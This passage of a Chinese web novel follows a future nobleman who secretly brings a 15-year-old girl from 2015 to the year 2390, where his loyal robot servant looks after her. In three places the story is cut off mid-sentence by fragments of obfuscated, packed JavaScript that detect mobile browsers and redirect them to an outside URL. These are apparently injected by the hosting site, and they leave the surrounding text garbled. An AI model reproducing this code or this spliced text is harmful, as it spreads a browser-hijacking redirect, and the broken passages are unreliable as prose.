小伽从出厂之后就一直跟在自己身边，父亲原意是让小伽照顾自己的衣食住行，但小伽这个小机器侍从，揣摩心意做狗腿子同样很在行，迟载跟他朝夕相处多年，对他非常放心。 因父亲是第二区首辅大臣，无数双眼睛都在背后盯着，家里有无数机器侍者，但迟载都信不过。只有从小就跟着自己，嘴严，又对自己忠诚的小伽才能让他安心。 被主人委以重任的小伽深受感动，将对艾知身份的猜测都抛到九霄云外去了，他的主机电板此刻只有好好完成任务，照顾好迟公子要自己照顾的人。 而小伽要照顾的人此刻正蹲在前廊，望着外边越来越蓝黑的天空期盼着迟载舰船的到来。 一声“面部识别成功”的电子女音响起，她便知道是迟载过来了。 “小识哥哥！”女孩兴奋地迎了上去，将今天一天独自温习的功课拿给迟载看，“我今天自习了新地球史，我发现在我离开后地球上发生了好多事情。” 通过迟载留给自己的资料，艾知才发现自己现在所处的时代距离她所在的2015年已过去375年，这里的风土人情已演变的跟艾知所熟悉的完全不同。艾知那时才兴起手机移动支付，现在已全面实行面容瞳仁支付，但是位高权重或者有钱的人更青睐于用精美的贝壳支付。 贝壳在2015年属于稀松平常的东西，海滩边多的是，耐下性子捡一下午，就能收获满满一筐。但是几次科技战役后，地球的生态环境发生变化，地壳运动，海平线上涨迅猛，动植物数量锐减，贝壳的数量也与之骤减。 贝壳花纹精美，当代人崇尚返璞归真，效仿远古人类用贝壳交易，于是贝壳又被称作贝币，成为位高权重者们青睐的支付方式。贝壳漂亮难得，是身份的象征，而普通人也为家里有一枚贝壳而欣喜，当作传家之宝。所以这个时代又被叫作贝器时代。 女孩还不擅长使用高度灵敏的电子绘板当作业本，还是保留着之前的纸质作业的传统，一字一句地记下笔记。 迟载接过本子，递给了躲在一边没说话，却一直偷瞄女孩的小伽。 “这是我的机器侍从，小伽。以后我不在的日子就拜托他来照顾你了。” 这就是金屋藏的“娇”？小伽摸摸脑袋，伸出机械手臂：“小姐你好，初次见面请多指教。” “啊！机器人！好高级啊！”女孩是头一次见到能跟人类正常对话的智能机器人，更是兴奋不已，女孩伸手握住小伽小小的拳头，轻轻晃了晃，“你好，我叫艾知。叫我小知就可以了。” 望着那张与艾知高度相似，但要青涩许多的脸，迟载会心一笑。 那夜艾知出逃，他便知这样似风一般的女子内心是无法放得下他的，但是他又舍不得放下她，所以他没有选择去追而是再次穿越时空，来到了2015年，带走了奶奶刚刚离世，举目无亲的小艾知。 作为第二区最高掌权者的儿子，他在20岁盛大的生日宴上从父亲那获得了穿梭舱作为成年礼物。此后一年，他都在学习如何驾驶这样圆钝的穿梭舱。等到21岁，他终于熟练掌握驾驶技巧后，由于疏忽了太阳核能电力短缺的问题，导致出现意外昏倒在Nebula的星云沙滩上。而穿梭舱则变成了手环上的宝石扣，等待太阳光照的蓄能。 而他与艾知的相遇则是一场意外，迟载昏迷中醒来看见艾知的第一眼，他就已经爱上她了。这样的爱波涛汹涌，来势汹汹，就连迟载自己也不知为何而来，又为何如此澎湃。总之他想得到她，他要带她去他的世界。 时代变迁，地球经历了几次大规模的科技战役后，世界格局再次发生变化。三百多年过去，地球早已实现人口大融合，区域联邦制下形成了五区一皇主的局势。五个区掌管各自辖区的事务，区内大小事宜自行管理，百姓生活也同样自给自足。而每个区职位最高者是首辅大臣，在首辅之上的便是地处中央的皇主。 皇主之位，由皇主的子嗣世袭，各区重大事情则由五区最高职权者首辅大臣向上汇报。 迟载父亲迟恩掌管着矿藏丰富，核能源充裕的第二区，在他的治理下，第二区经济已是五区翘首。他本人也深受民众爱戴，从第一次竞选成功后，已成功竞选三次，连任十五年时光。现在已是2390年，这是迟恩第四次竞选成功的第一年，一时间迟家风光无限。 迟载那句他可以给艾知想要的一切也是真的。作为第二区最高掌权人的孩子，自是要什么有什么，从小过着锦衣玉食的生活。 可偏偏艾知的出现叫迟载懂得，世上并不是他想要什么就可以得到的。 他初次春心萌动，便被艾知无情拒绝，迟载向来心高气傲，但艾知就像一根刺深深扎进他的内心深处，只一面，他便再也忘不掉了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16400117|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >本想待穿越舱通过太阳光照蓄满能量后，他再次启动穿越舱回到2025年他们初次在星云沙滩相遇的那一刻，结果受到光波核磁影响，迟载误打误撞去了2015年，遇见了15岁的小艾知。 在不同时间轴相遇，恰恰遇到的都是她，亿万分之一的概率都叫他碰到了，迟载想，这就是他和艾知命中注定解不开的缘。于是他将那个因奶奶去世，无人照顾的15岁艾知带去了2390年，而此刻正在餐馆点单的25岁的艾知也就此消失。 时空穿越是时间管理局严令管理的事项，未来人只可穿越过去，却不能对历史做任何改变。 能作为横跨时空的载体的，只有高昂的穿梭舱可以做到。普通百姓几无可能接触到这种凝聚高度智慧的科技物品。所以面对迟载的时空穿越，时间管理局只当睁一只眼闭一只眼。 管理局的人只管迟载的来回，却不知道迟载将艾知带来了未来世界。 聪敏的机器人很多，但又狗腿又忠心顺便还会审时度势，能说漂亮话逗主人开心的机器人少有。 作为不可多得的机器用人，小伽飞速扫描艾知和迟载的面部表情，一秒内迅速做出判断——小姑娘很依赖他的主人，而迟载面对小姑娘感情复杂。总像是透过她，在看另外一人。 小伽机体一震，这，这不就是白月光替身养成文学吗？我的公子，你在透过她的时候，是不是在思念另一个叫艾知的女人吗？ 她们俩是姐妹吗？长得如此相似，但却同名同姓……等等！迟载前段时间不告而别，任谁问他去哪了，他都不言语。小伽心生不对劲，于是他花了一秒钟核对两人的长相，然后又用一秒计算结果，现在小伽不仅是机体一震了，他感觉自己的电路板，中控室，身上的七零八件全都颤了两颤。 他的主人竟违背规定，将近新时代的人带来了现在。 瞧他的打算，他好似并没有把人送回去的想法。 我的公子啊，我的主人啊，我的机械零碎件儿啊，这是要进地球监狱的啊！哪怕你是最富的第二区首辅大臣的唯一血脉，你也不能犯法啊。 小伽顿在原地，作为信息的唯一知情人，他在想倘若他现在即刻辞职，然后让他的兄弟大伽给他清除这段记忆，他的机械小命是否才能有的一保。 很可惜，他的主人迟载彻底堵死他的未来活命的路。 “小伽，小知是我请来的一位朋友，她的事情想必你也知道了。所以我希望小知住在这里的事情只有我们三个知道。” 迟夫人雪莱说过，迟载从小主意就大，谁都拿不准他心里想什么，他决定做了的事情谁都拦不住。大伽说这叫心眼子多，城府深，但能成大事。 以后能不能成事，小伽不知道，但小伽能确定一点，如果自己外泄了秘密，又没照顾好这位小知小姐，他的小命可真就不保了。 所以誓死守住小知小姐身份的秘密以及护卫住她的安全，是他小伽未来任重而道远的首要任务。 “好！公子的话胜过天，我为公子办事肝脑涂地，在所不辞。”小伽一如既往发挥狗腿子精神，把脑海里记录的古言小说经典语录又翻出来，照葫芦画瓢答应道。 另一边小伽在盘算着等跟小知小姐熟悉后，再巧言令色或者苦口婆心地晓之以理动之以情，哄她回去。人姑娘闹着要回去，迟载总不好意思拒绝吧。等悄悄给人送回去，时空管理局的人就算闻着味了，也查不到什么，就自然不会影响迟载未来接替他父亲的竞选了。 在小伽的认知里，迟载并非是那种不讲道理，欺男霸女的权贵公子哥。可偏偏迟载遇上了艾知，打破了他所有的原则，沦为一个为爱痴狂的疯子。 5. 第 5 章 照顾艾知的事也就这么应承了下来，小伽自认为自己最大的优点性能就是忠诚和体贴，留意到艾知从前在他来之前是跟着迟载学习的，现在迟载不在，小伽便尽其所能地将自己的智能库的东西全都拿出来传授给艾知。 艾知学习能力很强，悟性极高，尽管小伽讲的知识面很广泛，她都能很快理解。小伽想着艾知以后肯定是要走的，所以艾知要是掌握了这些知识，将来回到过去，做个科学家，也是一顶一拔尖的人才，也不算枉费他这个机械老师的一番苦心。 所以小伽是知无不言，言无不尽，倾囊教授。 但艾知唯独对于现代高新科技的理论知识和实操技术掌握的不是很好，小伽为此很头疼。因为迟载之前有交待，等艾知每晚睡后，小伽都要将艾知的学习情况报告给他。 “没关系，她来自科技刚刚起步的近新时代，她现在的认知还不足以支撑她学习理解这些东西。你就看她喜欢什么，就挑这些教她吧。” 视频那边的迟载看上去很忙，并未盯着屏幕，像是在处理什么事情，小伽报告了艾知的其他好几件事，迟载也没反应。过了一会他才匆匆瞥向小伽这边：“艾知最近吃饭和休息怎么样？还开心吗？” 小伽其实能看得出来，艾知上课的时候精神头很足，可一旦离了书房，整个人就提不起精神，抑郁寡欢的。除去学习，她一定会做的事情就是，傍晚站在长廊单面镜外看瑰丽的晚霞，眺望远方。 没有迟载的许可，小伽没敢带艾知出门，所以艾知的天地就是这四四方方的格子间。艾知望向窗外的时候，小伽也在观察她，在思考艾知是想自由还是想迟载。 小伽早早打定了主意，过段时日就劝艾知离开，毕竟像他这么殚精竭虑为主人瞻前顾后的优质智能机器人已经很少有了，就连他的兄弟大伽都只能排第二。于是给迟载打预防针：“小知小姐可能是觉得在这里比较拘束，感觉她并不是很开心，都很少笑。” 本以为只是普通的汇报，小伽没太在意，确定艾知进入深度睡眠后，自己也进了休息舱充电进入休眠模式。等再一睁眼，给艾知端来早餐盘子时，迟载端正坐在餐桌前，看着早间最新的五区资讯。 跟小伽一样震惊的还有艾知，小姑娘是藏不住心事的，见到了迟载，兴奋地赶忙跑过去，絮絮叨叨说了好多话，把自己学了什么，小伽做了什么饭菜通通说了一遍。尽管迟载已经从小伽那获得了艾知的日常报告，但他还是耐心地笑着听艾知再说一遍，好像这些事情从艾知嘴里说出来格外生动好听些似的。 “听小伽说你想去外面玩，是不是？”迟载将那杯加了红枣提取液的豆浆端给艾知，又为她剥了一颗鸡蛋，确认油煎培根芦笋和圣女果不烫了后，才温声嘱咐艾知可以吃了。就像他们在Nebula一样，迟载习惯性地为艾知做这些事情。 迟载遇上25岁的艾知时，就觉得她很瘦，瘦瘦窄窄的一条，背影很纤细。了解到她经常忙工作而忽略了吃饭，迟载自觉担负起照顾艾知饮食的责任。久而久之，两人都习惯了这样的相处模式。等在2015年的时间轴上遇到小时候的艾知时，那时候她更瘦。迟载也是那时才知道艾知的身世，心疼与怜惜从心底生起，再加上对艾知求爱不成的不甘与执着，他决定带15岁的艾知回他生活的时代。 迟载说出口的话从不会有变数，他跟25岁的艾知说会给她一个家，他便带走了15岁的艾知，重新教养她，送她全新的世界。 目睹迟载像仆从一样侍候艾知吃饭，小伽努力克制自己的电子眼不要出现震惊的“瞳孔震颤”。 天老爷知道迟载之前在迟家有多娇贵吗？就是因为迟载不喜欢早饭，家里十几个机器仆从伺候他一个人吃早饭，现在他居然给一小姑娘做这些？甚至是等她吃完了，才去吃那些已经冷掉的餐食？ 小伽担心迟载的胃受不住，小心翼翼地问道：“公子，这些早餐已经凉了，要不我去给您准备营养液？” 五区一皇的时代科技达到鼎盛状态，在飞速发展下所有人讲求飞速和高效，他们逐渐觉得做饭吃饭浪费时间，于是研发了具备饱腹感又能补充人体必备营养元素的营养剂来代替饭食。久而久之，营养剂成为热潮的追捧，而瓜果蔬菜米麦的种植却被人类疏忽，且经历了几次大战后，地球的土壤已不适合培育植物，所以花草绿植以及果菜五谷等竟成为稀缺物品。像迟载这样身份的家庭，吃什么都很平常。 不过迟载去首辅宫见习或是备考期末，一日三餐不固定的时候，才会备上营养液。 “不用，热一下就行。” 刚刚咽下一口豆浆的艾知听见小伽说营养液，便问那是什么。得知是平民百姓日常的餐饮后，艾知就猜到现在的百姓应该不怎么会种植农作物，或是说当下的环境并不适宜农作物的生长。 艾知七八岁时去田间给奶奶送饭，祖孙俩坐在田埂头上啃馒头配咸菜，奶奶望着绿油油的水稻感慨今年收成一定很好。艾知还不懂为什么看农作物长势就能预测收成，奶奶说温度越高水稻长得越快，而且今年雨多，很适宜水稻的生长。 相比较米饭，艾知更喜欢吃带着丝丝甜酒酿香气的馒头。她们家不种植小麦，都是买现成的面粉，回家自己发酵做馒头。艾知问：“奶奶，我们怎么不种小麦啊，我想天天吃馒头。” 奶奶怜爱地揪了一把艾知的小脸蛋，说：“咱们这种不好小麦的，土啊水啊什么的都不适合小麦的生长环境。什么东西长在什么地方都有它的道理，不能违背自然规律的。想吃馒头也简单，奶奶再给你做就是了。” 艾知生长在田野间，是质朴的农民用五谷杂粮将她抚育长大，她对袅袅炊烟的原野有天生的喜欢。尽管跟着迟载来了未来世界，这里季节变化不分明，永远都是适宜生存的26摄氏度。鳞次栉比的星楼，火车可在楼间穿梭，小型舰船绕梁盘旋，跟她所熟悉的三餐四季、人间烟火截然不同。 要说好，她从此不再担忧衣食，小识哥哥会提供一切。要说不好，可能因为这里没有奶奶。想到奶奶，艾知有些难过，顿时没了胃口吃早餐。但她又不想浪费粮食，逼着自己一口一口地往嘴里塞。 嘴里的唾液好像停止分泌，但她还是努力往下咽，胃部开始涌上酸水，艾知又想吐也想哭。她担心迟载和小伽发现，拼命忍住极强的哭意，埋头努力地咀嚼吃不下去的早餐。 小伽和迟载都敏锐地察觉到艾知情绪上不太对劲，小伽本想上前查看，被迟载拦住。迟载走到艾知身边，手放在艾知脑袋上摸了摸，轻声询问道：“怎么了？是不是不想吃了？还是不喜欢这样的早餐？” “我想吃馒头……”好久都没有人摸自己的脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16400118|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋了，迟载的手因常年手握舰船罗盘，所以有茧子，艾知瞬间想起奶奶那双因劳作而布满茧子的粗糙的大手，她实在控制不住自己的情绪，抱住迟载的腰，把脸埋在他的腹部呜呜哭起来。 小伽因艾知突然的嚎啕大哭慌了神，听到她哽咽间想吃馒头，立刻奔去餐饮室，取出面粉和玫瑰花瓣，打算做玫瑰花瓣馒头哄艾知开心。 他跟小姑娘相处的这些天，他真心觉得艾知要比迟载好带的多，跟小时候的迟载比，艾知就是个人见人爱的乖巧小宝宝。作息规律，热爱学习，又不挑食，甚至还会主动帮小伽做一些家务，虽然打扫除尘这些房子会自动清洁，但物品摆放还得靠小伽手动。迟载是个细节控，钢笔放在铅笔前面，都要发飙。 更重要的是什么，艾知还会跟小伽讨论小说。天老爷知道小伽遇到一个小说同好是有多难！ 越喜欢艾知，小伽内心越纠结。艾知要是这个时代的姑娘，小伽巴不得她在这里长长久久，最好住一辈子。可惜艾知生来就属于过去，她跨越375年出现在这里就是违背法则，被生物发展规律所不容的。 小伽在那边为艾知忧心忡忡，迟载同样不太好受，他没有兄弟姐妹，小时候是被祖父打到大的，一掉眼泪被打得更狠，他不知道该怎么安慰这样半大的一个姑娘。 也许是哭急了，食道吸进大量气体，艾知开始疯狂打嗝，哭一声打一个嗝，一来一回反倒把自己哭笑了。 艾知松开迟载，抹了一把眼睛并用手挡住，一边打嗝，一边透过指缝悄悄看迟载，以为不会被迟载发现，结果她的小动作被站着的迟载净收眼底。 迟载觉得好笑，揉了一把艾知的头，半跪着与艾知平视，然后拿开艾知挡住自己眼睛的手，问：“不哭了？” “嗝！呜呜呜……嗝！我不想……嗝！哭了呜呜呜嗝……”哭过之后，那对卧蚕更加明显，又粉又饱满，很像一只受了委屈想找奶喝的小狗崽。 “可以哭，没有谁规定你不可以哭或是不能哭。”迟载用丝绸手帕拭去艾知脸颊挂着的泪，“在我面前你永远都可以做你自己。” “我明白奶奶的离世对你来说是很难接受的事情，但是死去的人是永远也没法再回到你身边的。” “你可以带我到未来去，那你可以带我回到过去吗？回到奶奶还活着的时候。我想我奶奶了。” 15岁的艾知比25岁的艾知懵懂单纯，迟载根本没想到艾知还想回去。 迟载没有回答，而是牵住艾知的手，带她去了书房。 书房是自动感应的，两人一进去便启动适宜的光亮。迟载一挥手，书房的光便暗下去，平常小伽上课使用的模拟动态台从中间升起，从中心释放出一束光，紧接着整个书房宛若徜徉在浩瀚宇宙中。 璀璨的恒星散发着闪烁的光芒，照亮了寂静无言的黑暗，而行星在引力下绕着既定轨道既定速度运转。星际尘埃与气体汇聚交织，形成绚烂梦幻的星云。一颗细小的陨石从前方飞来，好似要撞上他们，艾知下意识伸手去挡，透过光隙，那颗陨石已飞向别处。 不远处，一个炽热的球体散发着热源，并不断被小行星和彗星撞击，渐渐地，那颗星球好似不再耀眼与红热，远远看上去像是形成了一层薄壳。 “这是我们最初的地球。”沉默许久的迟载忽然开口。 6. 第 6 章 艾知原本还沉浸在思念奶奶的悲伤中，现在已被眼前的景象吸引了注意，她开始认真观察地球的变化。接着，他们看到这颗原始地球开始发生变化，外层渐渐出现薄薄的一层类似云雾般的圈层，地壳开始进行板块运动，同时又伴随着大小不一的火山喷发，板块边缘出现山带、海沟、裂谷。 接着画面一转，他们来到了这颗原始星球上，仅是眨眼的瞬间，艾知便看见了书上曾描绘的原始无脊椎动物，随后鱼类，大量爬行动物开始出现。他们的视角也从海洋转移到内陆，不过这里的植被异常庞大，远处传来恐龙的低吟，头顶飞过翼龙，脚下爬过一只很小，长得像鼹鼠又像水獭的动物。 艾知很怕老鼠，踮起脚尖蹦来蹦去，生怕踩着它。 迟载笑着看向艾知，让她冷静一点，说：“它不是老鼠，这可是最早的哺乳动物——始祖兽。” 听说这是其他哺乳动物的老老老老祖先，艾知才放下心。再一瞬间，他们身边忽然涌现出大量的哺乳动物，有的跟现代动物长得很相似，同时植物的种类也纷繁多样，艾知好像看见了人类的祖先。 接着她眼见着那些穿着兽皮打算围捕野猪的原始人开始用贝壳进行交换物品，试着种植水稻，将野猪赶到栅栏内圈养。一个又一个的村落，城镇出现，人们开始饲蚕织布造纸，孩子们坐在桃树下听师长讲书。 艾知欣喜地看向迟载，这是她所熟知的历史。她从小历史就好，每出现什么场景，她都能记起这是哪个国家发生的哪些历史事件。 迟载挑了一下眉，朝艾知笑笑，让她坐在高脚凳上示意她继续看下去。 看了一会后，蒸汽机的一声轰鸣，人类进入工业文明时代。原本湛蓝的天空开始灰云，战争和硝烟开始了，再后来硝烟散去，全球迎来短暂的和平，高楼大厦顷刻建起，和平鸽飞扬上空，艾知知道现在来到了她的时代。 她在人群中忽然瞥见了一个熟悉的身影——奶奶。她先是呆愣了几秒，反应过来后立刻向奶奶大喊，说自己是小知。可是奶奶只是转了个身，浅浅一笑，向艾知挥了挥手，便如同烟雾一般消散不见了。 艾知现在还是个15岁的女孩，情绪还做不到成年人的收放自如，见到奶奶消失，泪水再次失禁，一颗又一颗从眼眶滚下。 迟载又一挥手，书房恢复原先模样。 “小知，现在我可以回答你的问题了。”迟载站在艾知身前，两人此刻的身型差只能让艾知仰视他。 “尽管现在科技足够发达，但时间仍是我们最不可控的东西。一个人离去，就代表她的生命就此定格在她离去的那一瞬间，即使我们有能力回到过去无数次，但我们仍旧无法挽留住她，因为她只属于过去。就像你看见的那只始祖兽，倘若将它养在现在，当下的环境是无法适应它生存的。” “它会死，是吗？” “对。” “可是对你来说，我也是过去的人，是那只始祖兽，我也会死。” 很多年后，迟载仍能想起今日，15岁的艾知眼神坚定，告诉他，她不会因为迟载说了什么就轻易相信。正如25岁的她，清醒果敢，永远都有属于自己的判断，会质疑，相信自己。 “不，你不会死。我承诺。” 一诺千金重，践言终此生。此时的他们并不知道这样一句话会在未来成为二人前行的沉重枷锁，它既锁住了艾知，又绊住了迟载，也是日后两人敌对的刀刃。 餐饮室的后厨内，小伽使出十八般武艺，做出了玫瑰花瓣馒头和桂花米糕，怕艾知嫌单调，他又额外做了咸口的蟹黄小米酥。 做完后，小伽兴冲冲端出来，发现两人并没呆在餐饮室，打开中枢感应后，小伽又急匆匆赶去了书房，正好碰到两人同步出来。 艾知此刻的心情显然好了很多，小伽开心地凑上去，端上自己辛苦做出的点心。 “小知小姐，请尝尝吧，今天的小点心是我刚刚做的，不知道你喜不喜欢。” 看着这些精雕细琢的点心，艾知很感动，趁着小伽的机械手在端餐盘，她抱住小伽，甜甜地笑了：“谢谢你呀小伽，你做的什么东西都好吃。” 天老爷啊！他竟然被香香软软的女孩子抱了，还说自己做什么都好吃。小伽瞬间觉得自己苦找菜单，用力揣面，加速发酵，打翻糖罐这些累根本就不算什么，哪怕让小伽现在去再做几十盘菜，他也愿意，只要小知小姐喜欢。 “把东西收起来，晚上回来再吃。”迟载冷眼瞧着两人，语气分外冰凉，凉到小伽的电路板。 小伽察觉到主人的警告，依依不舍地松开了艾知。不过迟载说晚上回来，他们现在是要出去吗？ 正所谓不顺坡下的侍从不是好狗腿，小伽赶忙讨好似的问道：“公子是要打算出去吗？” “嗯，我带小爱出去逛逛。”迟载像是想到了什么，看向小伽，“以后你就叫艾知小姐小爱吧，这是她在这里的新名字。” “啊……遵命。”小伽在空中画了一个圈，一个透明的四方罩子盖住了餐盘，“小爱小姐，您现在跟我走吧，我为您准备出行的衣物。” 艾知对自己的新名字倒没什么想法，她还是叫艾知，至于什么昵称反正是在家里随口叫的，她就任迟载去了。 只有迟载清楚自己存了什么样的心思，他要艾知完完整整地都属于这里，包括名字。 艾知有些馋小伽做的馒头和糕点，换好小伽给艾知特制的衣服，她叫小伽给自己偷偷带上两块。 “虽然不知道公子会带小姐去哪儿，但是公子一定会好好照顾小姐的。”小伽将一个小篮子拿给艾知，他还在里面塞了艾知爱喝的酸奶。就像一个操心的妈妈，在女儿出远门前嘱咐她多看少说不要暴露自己的身份。 “嗯嗯我知道啦，小伽在家等我回来哦。”艾知拎着小篮子，开心地跟小伽摆手。 家？好陌生的词。小伽拍拍胸口，好像能听见内部的电流声。他去采购食材，听到路人说回家前要买一箱子营养剂；他帮迟载送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16400119|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 材料，遇见迟载的同学，被他嘱咐说明日要去迟载家找迟载玩；他陪同迟夫人去接放学归家的迟载，听到迟夫人对迟载说欢迎回家。十五年前他从智能机控厂被制作出来，再被送去迟家，现在又来了这栋房子，好像没有人和他说过哪儿是他的家。 一个只跟自己相处了十几天的小姑娘今天却对他说让他在家等她，小伽望着那艘载着小姑娘起飞远去的舰船，有些难过…… L528只要设置好航线其实可以自动驾驶，会自行避开其他空中飞行物。但是迟载想让艾知尽快适应他的生活，关了自动导航模式，让艾知坐在副驾驶室，自己则操控主驾驶罗盘。 舰船开得很稳，迟载一边驾驶，一边用余光注意艾知的反应，发现她不仅没有害怕和晕机，相反异常兴奋，一直趴在窗边看外边第二区的空中街景。 第二区从下而上建立，分地下城，陆势区，中空区，高层区。中空区和高层区都建在空中，当你以为脚踩平底，实际却是中空区两栋直插云霄的高楼连接桥。超快火车磁悬浮轨道与摩托飞车专用道上下交叉，宛若腾空的银色丝带交互缠绕。 那双平日里看上去生人勿近的眸子此刻划过一丝笑意，迟载按了按钮，L528立刻呈现透明态。原先只能透过窗户看见的风景，此刻全部展现在眼前。 飞车如流星般在交错纵横的空中赛道急驰而过，留下金线一般的灯影。各色飞行器在阳光下反射出柔润的金属光泽在不规则的高楼大厦间穿梭，有的降停，有的开始起飞。以前觉得遥不可及的太阳如今看来是如此的巨大，但它散发的却是柔和的光与热。 艾知惊奇地睁大眼睛，想到语文老师之前要他们写一篇幻想未来世界的作文，当时艾知绞尽脑汁，苦思冥想，才勉勉强强憋出五百字，剩下三百字全靠自己瞎掰硬凑。她要是知道自己真的会来到三百年后，当初就该跟老师赊个帐，等亲眼见到后再写，然后告诉她的同学和老师们未来的真实模样。 可是她那个时候怎么会知道自己会有这种奇遇呢，她现在写了作文又怎么给老师看呢。艾知觉得自己有些好笑的同时，心底又渐渐苦涩起来，她好像真的没有办法回到她的世界了。 “怎么了？是不是饿了？”迟载察觉出艾知的不高兴，关闭了舰船的透明模拟态，整个舰船又将世界隔绝在外了。 “没有，小识哥哥没事的，我就是想到了以前的一些事。”艾知缩回位子上，余光瞥见脚边的小篮子，打开后看到是小伽给自己准备的点心和饮品，心情又好些了。她侧身，想给迟载分享一块最好看的桂花米糕，却瞧见迟载冷着一张脸。 女孩的直觉一向敏锐，她明白是自己刚刚说的话才让他变了脸，于是试探性地问：“小识哥哥，你还好吗？你饿不饿啊？” 原是他问她的话，现在反倒成她问他饿不饿了，迟载简直要被气笑了。鉴于这样的讨好，他很受用，嘴角的微微上扬就暴露了他的内心。 见到迟载笑了，艾知悬着的一颗心才放下…… 7. 第 7 章 夜幕低垂，小伽的感应器始终感知不到L528的踪迹，望着电子钟的时间，小伽焦虑地在长廊来回踱步。 公子说晚饭时间就回来，小伽从黄昏时间就开始在等，等到现在都要到夜宵时间了，也没见到L528的踪影。 过了好一会，感应器才发出滴滴的声音，屏幕上的红点在飞速向这边移动，小伽知道艾知和迟载回来了。 “欢迎回家！”感应门一开启，小伽便兴高采烈迎上去。 “嘘！”迟载侧头看了眼趴在自己背上睡着的艾知，担心让小伽吵醒了。 小伽本想接替迟载的工作，被迟载拦下：“我来，你去整理她的卧室。” 机械手臂尴尬地收回，小伽灰溜溜地去了艾知的房间，给换衣舱开了恒温光照模式。 艾知的外出服是智能3D分子纤维做的，迟家讲究，外出的衣服只能穿一次，所以给艾知准备的衣物布料材质也都是透气防水防紫外线的，进了换衣舱便能自动脱解消融，顺便给身体做日常的消毒清洁和肤质护理。 他们只有回了室内，才会换上机械天蚕吐的高级蚕丝织成的丝绸衣物。 见小伽已在换衣舱外候着了，迟载才轻轻唤醒艾知：“小爱醒醒，该换衣服了。” 许是身体处在青春期的发育阶段，艾知来了这边后格外嗜睡，今天跟迟载去了很多地方，见识了她从未见过的壮观景象，精神过早地消耗殆尽，现在迟载说什么，她都是只说好，其余的一概不理。 迟载拿艾知没法，他现在跟艾知有别于身份和年龄，所以只能将艾知托给没有性别设定的小伽照看。 小伽手臂延长，轻柔地将艾知接过，抱进了十平大小的换衣舱。换衣舱内有美人椅，艾知躺在那上面也可以自行溶解掉外出服。 等艾知出来的时候，她已经很清醒了，脸颊红扑扑的，像是蒸过了桑拿。 迟载还以为是换衣舱温度太高了，却不知艾知是害羞的。 她自小独立惯了，奶奶教会自己穿衣后便没让奶奶帮自己。当小伽拿着睡衣的手一碰到艾知的胳膊，艾知立刻睁了眼睛，捂着胸口哆哆嗦嗦，说自己能换，让小伽在外面等着。 “迟公子在外面等着小姐你呢。一开了门，里面什么光景迟公子就都看见啦！” “那……那你背过身去。”艾知欲哭无泪，她怎么就睡着了呢，平常衣服也都是她自己换的，哪里还叫人，不，叫小伽帮自己穿，太羞了吧。小伽再怎样也是个机器人，叫他帮自己总是怪怪的。 小伽没办法，只得背过去一边数秒数，一边思考要不要给自己换个萌妹的声线，虽说自己现在的薄荷少年音他还蛮喜欢的，小爱小姐要是介意，他换成软萌甜妹声也不错，反正机器人没性别，小爱小姐喜欢就好。 “很热吗？要不要喝冰牛奶？” 艾知还沉浸在换衣服的尴尬中，余光瞥见向自己贴近的男人的手，下意识躲开了。 女孩的躲避让迟载的手落了空，三个人忽然陷入了一种怪异的沉默中。还是小伽反应迅速：“我去取牛奶。” “我——”艾知刚想说什么，就被迟载打断。 “待会把牛奶喝了再睡觉。” 艾知点头不语，即使自己不喜欢喝牛奶，她还是安静地坐在床边等小伽的牛奶。 客随主便这个道理她自小就明白，很小的时候奶奶要忙农活无暇照顾艾知，艾知就被奶奶托付给邻居婶婶。虽然婶婶一家对自己很好，但她也知道婶婶家也只是帮忙，他们有更小的弟弟要照顾。为了让奶奶在外放心，艾知很懂事地帮婶婶带弟弟，给婶婶家帮忙打扫卫生。 牛奶被送来，没有预想的冰凉，艾知接过杯子将温润的液体一饮而尽，然后乖巧地自行去了洗漱室刷了牙。等她回来时，迟载捧着一本纸质书坐在床边的沙发椅上正在翻阅。 “想听什么故事？小伽说你喜欢看近新时代的小说。”迟载抬头一笑，温暖的灯光洒在他身上，竟给艾知生出他们好似很久之前就认识的感觉。 “还是喜欢童话故事？”迟载跷起二郎腿，低首翻阅手中的故事集，“王子公主的？还是有关动物的？” “那个……小识哥哥。我十五了，不是五岁。”艾知忍了好久，最终还是说出口了。 她现在的这个年纪根本不需要睡前读物好吗，童话故事她八岁的时候就不相信了，所有的公主王子的结局也只停留在结婚典礼上，如果再往后写一点，那就是善妒王后和愚笨国王的故事了。 迟载愣怔两秒，呵笑了两声：“原来小爱是大孩子了。” 继而向上抬起脚尖，双腿并拢，拿着书站了起来，像是给自己解围一般说道，“是我考虑不周到了，没把小爱当大孩子看。” “……”艾知一时间不知道该说什么好。 她隐隐的感觉迟载好似因为没能给自己讲成故事而有些失望。现在时间还早，要不让他给自己说一个？ 